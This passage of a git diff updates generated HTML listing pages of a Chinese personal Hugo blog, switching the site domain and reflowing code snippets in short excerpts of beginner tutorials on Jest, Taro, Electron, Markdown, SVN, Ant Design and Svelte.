title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Jest-JavaScript测试工具</h2></header><div class=entry-content><p>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
 yarn add –dev jest或者npm install –save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
-return "hello world"
-}
-hello.test.js
-const hello = require('../hello')
-it('should ', () => {
-expect(hello()).toBe('hello world')
-})
-package.json
-{
-"scripts": {
-"test": "jest"
-}
-}
-执行测试
+module.exports = function(){ return "hello world" } hello.test.js
+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ "scripts": { "test": "jest" } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -31,7 +19,7 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://xiaochenabc123.github.io/posts/95/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://chenjunlinabc.github.io/posts/95/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等
@@ -51,7 +39,7 @@
 作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
 import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件
-import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
+import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
 但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m
@@ -70,23 +58,8 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
-mainWindow = new BrowserWindow({
-// 设置窗口大小
-width:500,
-height:500,
-webPreferences:{
-nodeIntegration: true
-// 是否集成node
-}
-}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
-mainWindow.on('closed',()=>{
-mainWindow = null
-// 监听销毁事件，事件触发关闭主窗口，设置为null
-})
-})
-初始化
-npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://xiaochenabc123.github.io/posts/91/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://chenjunlinabc.github.io/posts/91/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
 段落
@@ -112,7 +85,7 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://xiaochenabc123.github.io/posts/88/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
+*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://chenjunlinabc.github.io/posts/88/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
 而存在冲突那么就需要先手动处理冲突再commit
@@ -145,8 +118,8 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://xiaochenabc123.github.io/posts/84/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/3/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://chenjunlinabc.github.io/posts/84/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/3/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/5/index.html" "b/categories/\351\273\230\350\256\244/page/5/index.html"
index 79becca5..dbb03c98 100644
--- "a/categories/\351\273\230\350\256\244/page/5/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/5/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Ant Design组件库</h2></header><div class=entry-content><p>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
 yarn create react-app antd-demo
@@ -13,14 +13,7 @@
 yarn create react-app antd-demo-ts –template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import 'antd/dist/antd.css';
-import { DatePicker, Space } from 'antd';
-ReactDOM.render(
-&lt;Space direction="vertical">
-&lt;DatePicker/>
-&lt;/Space>,
-document.getElementById('root'),
-);</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://xiaochenabc123.github.io/posts/82/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
+import 'antd/dist/antd.css'; import { DatePicker, Space } from 'antd'; ReactDOM.render( &lt;Space direction="vertical"> &lt;DatePicker/> &lt;/Space>, document.getElementById('root'), );</p></div><footer class=entry-footer><span title='2021-08-10 23:03:00 +0000 UTC'>2021-08-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Ant Design组件库" href=https://chenjunlinabc.github.io/posts/82/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Svelte学习笔记</h2></header><div class=entry-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
 初始化
@@ -28,51 +21,22 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&lt;script>
-let name = 'world'
-&lt;/script>
-&lt;h1>Hello {name}!&lt;/h1>
-导入组件
-import Hallo from './hallo.svelte'
-...
-&lt;Hallo/>
-如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
+&lt;script> let name = 'world' &lt;/script> &lt;h1>Hello {name}!&lt;/h1> 导入组件
+import Hallo from './hallo.svelte' ... &lt;Hallo/> 如果想将HTML渲染到组件中可以使用 let string = &lt;div>hallo word&lt;/div> {@html string}
 事件响应
-function aClick() {
-count += 1
-}
-...
